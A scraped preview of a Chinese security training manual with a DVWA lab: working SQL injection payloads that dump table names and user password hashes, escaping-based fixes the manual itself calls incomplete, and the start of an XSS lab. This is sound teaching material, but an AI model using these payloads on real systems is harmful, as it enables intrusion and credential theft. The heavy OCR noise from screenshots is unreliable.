信息安全发展态势与知识拓展实训项目指导手册_第1页
信息安全发展态势与知识拓展实训项目指导手册_第2页
信息安全发展态势与知识拓展实训项目指导手册_第3页
信息安全发展态势与知识拓展实训项目指导手册_第4页
信息安全发展态势与知识拓展实训项目指导手册_第5页
已阅读5页,还剩179页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

信息安全发展态势与知识拓展

实训项目指导手册

V1.0

阖大支喊/抵斫号帆

OWODONOKVlfOMCOFKD^YW*MOCOMtfKt寻真求是格物致知

目录

Web安全应用分析之SQL注入及防护配置2

实验概述2

实验环境2

前提条彳牛2

实验;耀2

实验目标3

任务1环境准备3

任务2判断注入点5

任务3猜测字段数7

任务4执行Union联合查询9

任务5获取数据10

任务6SQL注入防护13

,支N午喊才抵斫多忱

I寻真求是格物致知

©CUMCXM3KivTEOMCBIO4TW»MO(XMKi

Web安全应用分析之SQL注入及防护配置

实验概述

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,

而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。凡有

SQL注入漏洞的程序都是因为程序要接受来自客户端用户输入的变量或URL传递的参数,

并且这个变量或参数是组成SQL语句的一部分。

DVWA(DamVulnerableWebApplication)是用PHP+Mysql编写的一套用于常规

Web漏洞教学和检测的Web脆弱性测试程序。提供Low、Medium.High.Impossible

四个安全级别,包含了SQL注入、XSS、CSRF等常见的Web安全漏洞。

HackBar是Firefox提供的插件,主要功能有:网址的载入访问、联合查询、各种编码

/解码、数据加密等。HackBar可以帮助安全人员测试SQL注入、XSS、CSRF等安全漏洞

以及网站的安全性。

实验环境

攻击机:WindowsServer2016(01-Windows攻击机),IP:30

靶机:(攻击机)

WindowsServer201501-WindowsfIP:30

集成环境:PhpStudy

网站:DVWA-vl.10,low安全级别

前提条件

本实验要求:

•熟悉Windows基本操作

・熟悉基本的SQL语句

实验流程

僦%女工里喊才抵斫后帆

KimowcOFM04TW*MOCOMtfKf寻真求是格物致知

实验目标

完成本实验后,将能够:

•了解SQL注入原理

•掌握基本SQL注入方法

•掌握SQL注入漏洞防护方法

任务1环境准备

【任务目标】

启动动态网站集成环境,并访问SQL注入站点。

【任务步骤】

1.启动动态网站集成环境

双击桌面的"phpstudy"集成环境,并单击“启动"按钮,运行网站。

2.浏览器访问SQL注入站点

双击桌面的"火狐浏览器",在URL地址栏中输入:

/dvwa/login.php

OWIIOMIKUTCOWCvNOUSWMOaaaea寻真求是格物致知

输入默认账号和密码登录网站:

账号:admin

密码:password

文GDKB00历史⑸=»5©IJKD-OX

■WHcome:QimnVulnrX+

G0127X).0.1/dvw4/indcx.phpVHOCQ酉&<CtH^K>☆6♦ft•三

D破

WelcometoDamnVulnerableWebApplication!

InstructionsDeemXMheraUeWebAppiKalon(UVWA)isaPHRtlySOlw«0ap(M>caikr)thatisdaninAiheraErieitsmam

90alt$tobeanaidlocseorrtyprotessKX^Htoleslttwr$kil$andlooKmBtegalenvironment,3的

SMup/Rts«tD6develo阿sbetterundwstandtheprocessesofsecunngwebappUabons®*1loaidbothstudents&teachersio

2naixxitwebappicabon$ecur<yinaconlroMedclassroomenvronmen

BruteForsTNeanofDVWA•Iopfeetic*ofmo«tcommonw*bvuln*r•bMM”withvaHoueof

dWWcuWyasmpteWQhttorwaBCeclKg

CommandInjection

CSRF

FileInclusionGeneralInstructions

FileUploadItt$upIotheuserhowgyappeoechDVWAE<herbywodongtroughmfi<ymoduleXafncedteveior

sotocbrganymodUoandworknguploroachthohghoatovoitheyc4nbetoconxwngontothonextonoThora

InMeurtCAPTCHAsnotafucodobfcctlocompkrtcamodulohowevofusersstuxAlio<HthattwryhavesucccnsliJtyaxplotodth©

systemasbestastheyposs<»tecouldMusriflMpartKuiarwhmaMfty

SQLlection

SQLl*cttoa(Blind)Re«ono<otbcfcarcbothdocumentedandundocumentedvulnerabeltywiththssoftwareThisti

ntentKnalYouaregneour899dlohyandOscover够manyessu^saspossible

WeakSessionIDs

DVWAalsondudesaWebAfpicabonFrewal(WAF),PHP1DS.wtKhCMbeenabled81anysiaoeloftjrthec

XSS(DOMJocreasethedrtkulfyThtswildemonstratehow83ngancMherlayerorsecuritymayMockcenanmalicious

•ctcmiNot®.th«f«nhiovanouspubk:nwKhodsAtbypassingthw®protecliom《soMamg3nas*m

XSS(Reflected)axtonsonformoreat}wteedusontjl

XSS(Stored)

Iggtiarw^>buttonatttwbotlocnoleachwhichalowsyouloviewIwKs&bpstorthat%Vh«rablt)f

C$PByptwThere*eatooadducnaisnksforfunhecbddyyoundreodng,whthrelatwtor*atsecuntyissue

单击左侧菜单导航栏的“SQLInjection",进入SQL注入页面。

装笑寻真求是格物致知

任务2判断注入点

【任务目标】

利用加单引号等方式,判断页面是否存在注入点。

【任务步骤】

1.判断是否存在注入点

在输入框中,输入:1并单击"Submit"按钮提交。

HomeVulnerability:SQLInjection

Instructions

Setup/ResetDBUserIDjSubmit

ID:1

BruteForceFirstnano:admin

Surnaae:adnin

CommandInjection

CSRF

FileInclusionMoreInformation

FileUpload•http»:/Awww.—curit-m.com/・tcurityfvitw»/6DP0N1P76E.html

•一口…

InsecureCAPTCHASQIRL

•MtptWwwwJWteoartc-Wblo<tfwb-curity/,qldnject)onYhejt《htV

•hftp$:@mEunlty/|ttti>ClcWSQL

EESS—•https

SQLInjection(Blind)

页面回显了ID为1的用户姓名信息,说明页面正常。

继续在输入框中,输入:1'并单击"Submit”按钮提交。

阖I大支N午嗫才抵斫夕自

OW0OONOKUTKIMC9iMmMOCOMBtt寻真求是格物致知

D

HomeVulnerability:SQLInjection

Instructions

UserID卜ISUE

Setup/ResetDB

BruteForce

CommandInjectionMoreInformation

CSRF

FileInclusion

FileUpload

InsecureCAPTCHA

SQLInjection(Blind)

文*E)0■㈤历史(S=HS(6)TJKD*W)(H)-

1270.0.1/dvwaMilnefdbilititX+

♦①127«0.0.1/dvw<Mjlrk|li/?id=1'&Sub<nit=Submit#■■8MCd百St<CUi/K>☆总•俞

TewhavoanerrorinyourSQL加3,chockth©ninualthatccar^^andBtoyourlySQLcarvarvorsicnforth®rightsyntaxtous。noir**f**atlino1

页面报错并显示了错误信息,根据错误信息可以了解到此错误为语法错误,数

据库类型为MySQL。

注:因为该站点为字符型注入漏洞,所以需要构造闭合语句。

构造如下闭合逻辑语句:

1'and1=1#

可以看到语句能够成功被服务器执行,并显示正常的页面信息。

继续构造闭合逻辑语句:

1'and1=2#

支N午嗫*抵斫多忱

"MMfiMMlOUmMCVRMTMMOOOMBCI寻真求是格物致知

可以看到语句能够成功被服务器执行,但页面没有正常信息回显。

根据以上执行结果判断,该页面确定存在SQL注入漏洞。

任务3猜测字段数

【任务目标】

通过orderby猜测查询的字段数量。

【任务步骤】

1.猜测字段数为10

构造如下闭合语句:

1'orderby10#

Vulnerability:SQLInjection

UserID:[rorderby10#Submit

MoreInformation

•/securjtvreviews/5DP0N1P76E.html

•http6:〃en.wikipedia.oro^iki/SQLinjection

•http8:〃/bloq/web-8ecurity/s-ctionYheat-sheet/

•https:〃owaso.orcAyww»conimunity/attack6/SQLInjection

•/

页面报错,并显示不存在10个长度的字段,说明字段数小于10。因此范围在I

到10之间。

翁1%支喷才投斫后帆

tuMOCMiKUTEOMCvNOUSWMOcoaea寻真求是格物致知

文件(£)编铝⑹查看Q)历史(S)书签⑥工具(D帮助(H)

httpV/127.0bmit=Submit#X+

<</dvwa/vulnerabili:ies/sqli/?id=T+order+by+10♦1U焦C5百度<Ct”+K>

Unknowncolumn'10'in,orderclause'

2.猜测字段数为5

一般采用"二分”方法来猜测字段数,如:第一次猜测为100,下一次为50,

再下一次为25以此类推,直到猜出正确的字段数。

继续构造:

1'orderby5#,同样显示错误,说明数量不为5。

文件(E)据运⑹查看(V)历史(S)书签(B)工具(I)帮助(H)

http://127.0bmit=Submit#X+

6:①/dvwa/vulnerabilities/sqli/?id=1'+order+by+5+%电赛GQ百度

Unknowncolumn'5'inJorderclause1

3.猜测字段数为3

继续构造:

1'orderby3#,同样显示错误,说明数量不为3。

文件(B«®(E)查看M历史(S)书釜(B)工具CD帮助(H)

http://127.0bmit=Submit^X+

6/dvwa/vulnerabilities/sqli/?id=1'+order+by+3+%。赛Cd百度<Ctrl+K>

Unknowncolumn'3'in*orderclause,

年支喊才抵斫字帆

awoocM)KimoMCOFveusrmMOCOMOQ寻真求是格物致知

4.猜测字段数为2

继续构造:

11orderby2#,页面显示正常,说明字段数量为2。

Vulnerability:SQLInjection

UserID:£orderby2#Submit

ID:1'orderby2#

Firstname:admin

Surname:admin

MoreInformation

•/6ecurrtyreviews/5DP0N1P76E.html

•https:〃en.wikipedia.orBwiki/SQLinjection

•httD8://spari(/bloQ/web-8ecuritv/s-ctionYheat-sheet/

•http6:〃owasp.ora/wwwvommunltv/attacks/SQLInjection

•https://bobbv-tables.cofn/

任务4执行Union联合查询

【任务目标】

通过执行union联合查询,确定回显位置。

【任务步骤】

1.构造联合查询语句

确定查询字段数量后,可以通过联合查询语句来确定数据回显的位置,最后通过

该位置获取数据库中的敏感信息。

构造如下语句:

11unionselect1,2#,有多少个字段数,select后面就加上对应的数字。

年支^曾喊才抵斫字帆

OMMIOCM}KimOMCOFiCuSTmMOCCMtKf寻真求是格物致知

Vulnerability:SQLInjection

UserID:|_____Submit

ID:1,unionselect1,2i

Firstname:admin

Surname:admin

ID:1'unionyelect1,21

Su^namSrr]—此处的1和2即为回显位置

MoreInformation

•https:/9ecuritvreview8/5DP0N1P76E.html

•https:〃en.wikloedia.orafwikl/SQLiniection

•sparkercom/bloq/web«securitv/sqHniection-ch-eet/

•https://owagp.oro/wwwcommunitv/attacks/SQLIniection

•/

任务5获取数据

【任务目标】

通过构造并执行unionselect查询语句,获取数据库中的数据信息。

【任务步骤】

1.获取数据库相关信息

通过内嵌函数version。,database。等获取数据库版本信息和数据库名。

构造语句:

1'unionselectversion(),database()#

Vulnerability:SQLInjection

UserID:|Submit

ID:1*unionselectversion(),database()#

Firstname:admin

Surname:admin

ID:1,unionselectversion()database()I

Firstname:5.5.53

Surname:dvwa

MoreInformation

•/securitvreview8/5DP0N1P76E.html

•https:〃en.wildpedia.orafwikl/SQLinlection

•sparkercom/bloq/web-securitY/sql-iniection~ch-eet/

•https://owa9P.orQ/wwwcommunitv/attacks/SQLIniection

•/

支喊才抵斫多虎

OW«»CNOKimOMCOFMOcawa寻真求是格物致知

得到数据库名为:dvwa,MySQL数据库版本为5.5.53。

2.获取数据库表名

在MySQL版本大于5时,默认存在information_schema库,该库中存在其

他库的所有数据。

根据已经获得的信息,继续构造语句,获取数据库表名:

1'unionselecttable_name,2frominformation_schema.tableswheret

able_schema='dvwa'#

Vulnerability:SQLInjection

UserID:[Submit

ID:1•unionselecttabl€_namer2frominformation_schema.tableswheretable_sclema-tdvwa*t

Firstname:admin

Surnanve:admin

ID:1,unionselecttable-namcz2frominformation_schema.tableswheretable_sciema=•dvwa•♦

Firstname:guestbook

Surnanie:2

ID:1•unionselecttable_name,2frominformation_schenMi.tobieswheretable_sc>ema=*dvwa*I

Firstname:users

Surname:2

MoreInformation

可以看到,在1的回显位置上,显示了两张数据库表名:guestbook,users.其

中users表名存在管理员帐号密码可能性最大。

3.获取字段名

继续构造联合查询语句,获取users表的字段名:

1'unionselectcolumn_name,2frominformation_schema.columnswh

eretable_schema='dvwa'andtable一name='users'#

Vulnerability:SQLInjection

UMr10:Subcrw:

ID:1,unionsalactfrcalnfomation_schama.columnswbaratablo^ichama*'dvwa'andtabla_n<knA«ausors(■

Pirstna»e:acbiin

Surname:adam

ID:1,1nmfro*intorMtion_sch<m*.coluamtwMr«table_cMM^'dvwa*andI

Firstnase:user-id

Surnanft:2

ID:11unio>selectc。】ULnjdm,:frominfornation_schema.columnswb«retdble_jchema»*dvwa•andtoble_najw»,users,I

Firstnaso:flrst_nAna

Surname:2

ID:1•unioiselectcolfro®infornation__schema.columnswheretable_schema*,dvwa,andtable_nan«»•users,I

firstna»e:lasjnag

Surnam:2

ID:1,unioiselectcoliaai_n^me,2fro®mforn^tion-schema.colxiainswheretable_schemastdvwatandtable-nanjea,users•t

Firstnasc:user

Surname:2

ID:1•unioiselectcolHTJIname,:froaainforn^tionschcma.columnswheretable;chcma-tdvwa,andtable_nanjc<»ausers•$

Firstnase:password

Surname:2

ID:1•unioiselectcoli«n_nan)e2freminfornAtion_schema.columnswheretable_schema**<!¥*«•andtable_nan«»•users•i

Firstnaxe:avatar

Surname:2

得到8个字段名,猜测userfflpassword字段分别存在账号和密码。

夕OMMOONOKUTKMViMmOOM0CI寻真求是格物致知

4.获取字段内容

构造SQL查询语句,获取字段use杯口password里面的内容:

1'unionselectuser,passwordfromusers#

Vulnerability:SQLInjection

UserID:|Submit

ID:1,unionselectuser,passwordfromusers*

Firstname:admin

Surname:admin

ID:1,ust

Firstnate:admin

Surname:5£4duu3b5aa765d61d8327deb882u£99

ID:1•unionselectuserzpasswordfromusers#

Firstname:gordonb

Surname:e99al8c428cb38d5f260853678922e03

ID:1•unionselectuser,passwordfromusers#

Firstname:1337

Surname:8d3533d75ae2c3966d7e0d4fcc69216b

ID:1*unionselectuser,passwordfromusers#

Firstname:pablo

Surname:0dl07d09f5bfce40cade3de5c71e9e9b7

ID:1•unionselectuser,passwordfromusers*

Firstname:smithy

Surname:5f4dcc3b5aa765d61d8327deb882cf99

最终得到5个用户的账号和密码,其中包括管理员账号和密码:

admin/5f4dcc3b5aa765d61d8327deb882cf99

5.密码解密

由于多数站点的默认数据库用户密码加密方式为:MD5哈希算法,而dvwa站

点默认也是采用此算法进行密码加密。因此,可以将密码放到在线解密网站进行

解密。

例如:

14支N午嗫*抵斫多忱

/tumoocM)KuitOMCvNOUSTW*MOccMKf寻真求是格物致知

最终得到admin用户的密码为password

任务6SQL注入防护

M弗目标】

通过在页面中加入防护代码,实现对SQL注入漏洞的代码级防护效果。

【任务步骤】

1.mysqLreal_escape_string()函数

mysql_real_escape_string()函数可以将用户输入的特殊字符进行转义。转义

的特殊字符包括:\x00

'(单引号)

"(双引号)

\xla

进入C:\phpStudy\PIIPTutorial\WWW\DVWA\vulnerabilities\sqli\source\

文件夹,编辑low.php文件。

将$id=$_REQUEST['id'];修改为

$id=mysql_real_escape_string($_REQUEST['id']);

)大支N午喷才抵斫个帆

@寻真求是格物致知

UfCAphgtudy\PHPTu«x6WWW\DVWA\vUhewbHitF;$qiMoureVow.phpNottfMd•♦|Admini$trat<x)-OX

文KF)MlE)W»(S)«B»®«(N)i8Ba)««(T|111(0)京M)运行四»5(P)«O(W)?

a

。,区90rt9C•、•二FBI,■/曲组©3■町♦■>Q«

日18.阳引

1?<?php

3iffisset($_REQUEST[•Submit*))){

4//Getinput

|$id=mysql_real_escape_string($_REQUEST(*id*))*1

//Checkdatabase

M

$query="SELECTfirst_namerlast_nameFROMusersWHEREuser_id='$id*;;

Mw",

$result=mysqli_query($GLOBALS(mysqliston]r$query)ordie(<pre>

//Getresults

121rwhile($row-mysqli_fetch_assoc($result)){

13//Getvalues

$first-$row[Mfirst_nameM];

$last-$row

17//Feedbackforenduser

$html.=R<pre>ID:!$id)<br/>Firstname:{$first}<br/>Surname:{$last)<

19}

20

mysqliclose($GLOBALS('*my^qlistonH));

保存并退出编辑。

2.验证漏洞修复结果

在SQL注入页面中,执行1'and1=1#语句。

文杵(D查•仪)历史⑸书25®IM(DWK11)

■Vulnerability:SQLinject-X+

612/O.ai/dvwaZvulnefabii>3DU%23&Sub■■CQ国T<a台•翁今

D

HomeVulnerability:SQLInjection

Instructions

Setup/ResetDBUserIDrand1-1«Submit

BruteForce

CommandInjoctionMoreInformation

CSRF

FileInclusion

FileUpload

InsecureCAPTCHA

SQLInjection(Blind)

WeakSessionIDs

XSS(DOM)

XSS(R*n«ct»d)

vee

可以看到页面已经不再显示任何内容,也没有报错提示,说明漏洞已经修复成

功。

3.addslashes()函数

addslashes。函数同样可以将特定字符进行转义,从而达到修复效果。

进入C:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\sqli\source\

文件夹,编辑low.php文件。

筱大支"喊才抵枢自

euMMM»am»MevveumMOOOMKI寻真求是格物致知

将$id=$_REQUEST['id'];修改为

$id=addslashes($_REQUEST['id']);

4.验证漏洞修复结果

在SQL注入页面中,执行1'and1=1#语句。

Vulnerability:SQLInjection

UsorID:T«nd1=1sSubmit

BruteForce

CommandInjectionMoreInformation

CSRF

FileInclusion

Fil«Upload

InsecureCAPTCHA

可以看到页面已经不再显示件可内容,也没有报错提示,说明漏洞已经修复成

功。

注:上述修复方式并非完全修复漏洞,攻击者仍然有多种方法可以利用漏洞。

年支喊才抵斫字帆

awoocM)KimoMCOFveusrmMOCOMOQ寻真求是格物致知

至此,实验结束。

展委二呼喊埼投折字悦

GUANGDONGPaYTECHNCOFINDUSTRYANDCOMMERCE

信息安全发展态势与知识拓展

实训项目指导手册

V1.0

OMMODCM)KUTECHCOFRDiSTW*MOCOMtfKl寻真求是格物致知

目录

XSS跨站脚本点击劫持分析及防护18

概述18

实验环境18

前提条彳牛18

实验;府呈18

实验目标18

任务1反射型XSS漏洞利用19

任务2存储型XSS漏洞利用22

任务3XSS漏洞防护29

午喊/抵叫多忱

CUMCXM3KVTBOHCBiMTmMOCOMKi寻真求是格物致知

xss跨站脚本点击劫持分析及防护

概述

跨站脚本攻击XSS(CrossSiteScripting)是恶意攻击者往Web页面里插入恶意Script

代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻

击用户的目的。XSS攻击针对的是用户层面的攻击,可以用来进行钓鱼攻击、前端js挖矿、

用户cookie获取,甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。XSS跨站

脚本攻击分为三类:反射型XSS(reflected).存储型XSS(stored),DOMBasedXSS。

本实验使用的靶场环境为:DVWA、bWAPP。

实验环境

攻击机:WindowsServer2016(01-Windows攻击机),IP:30

靶机:WindowsServer2015(03-Windows靶机),IP:56

前提条件

本实验要求:

•熟悉Windows基本操作

•熟悉基本的PHP函数和HTML标签

实验流程

反射型XSS漏洞利用存储型XSS漏洞利用XSS漏洞防护

实验目标

完成本实验后,您将能够:

•掌握xss漏洞基本利用方法

•掌握利用XSS获取用户cookie的方法

•掌握xss漏洞的代码级防护方法

阖I大支N午嗫才抵斫夕自

OW0OONOKUTKIMC9iMmMOCOMBtt寻真求是格物致知

任务I反射型XSS漏洞利用

【任务目标】

构造XSS代码,触发反射型XSS攻击,并通过反射型XSS漏洞,获取用户

信息。注:本实验靶场为:

cookieDVWAO

【任务步骤】

1.靶机开启网站环境

在靶机上,运行PhpStudy网站环境。

2.攻击机访问靶机DVWA站点

在攻击机打开浏览器访问http:〃〈靶机IP>/dvwa/login.php,账号:admin,

密码:password

文杵(E)Wib历史&)引答(fi)工具(D.口X

login::DamnVulnerableV/.X+

4•①「92.168200.156/dvw“login.php|『S?Cd百度<CtthK>Q自4•俞与三

阖%支N午嗫才抵斫夕自

OUIMOOONOIOUTKMOFmmMOCOMSKI寻真求是格物致知

3.设置安全等级

在DVWA首页,单击左侧菜单栏"DVWASecurity",将安全等级设置为:

low。

文aDMID历史0襁@[,0)*皿

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论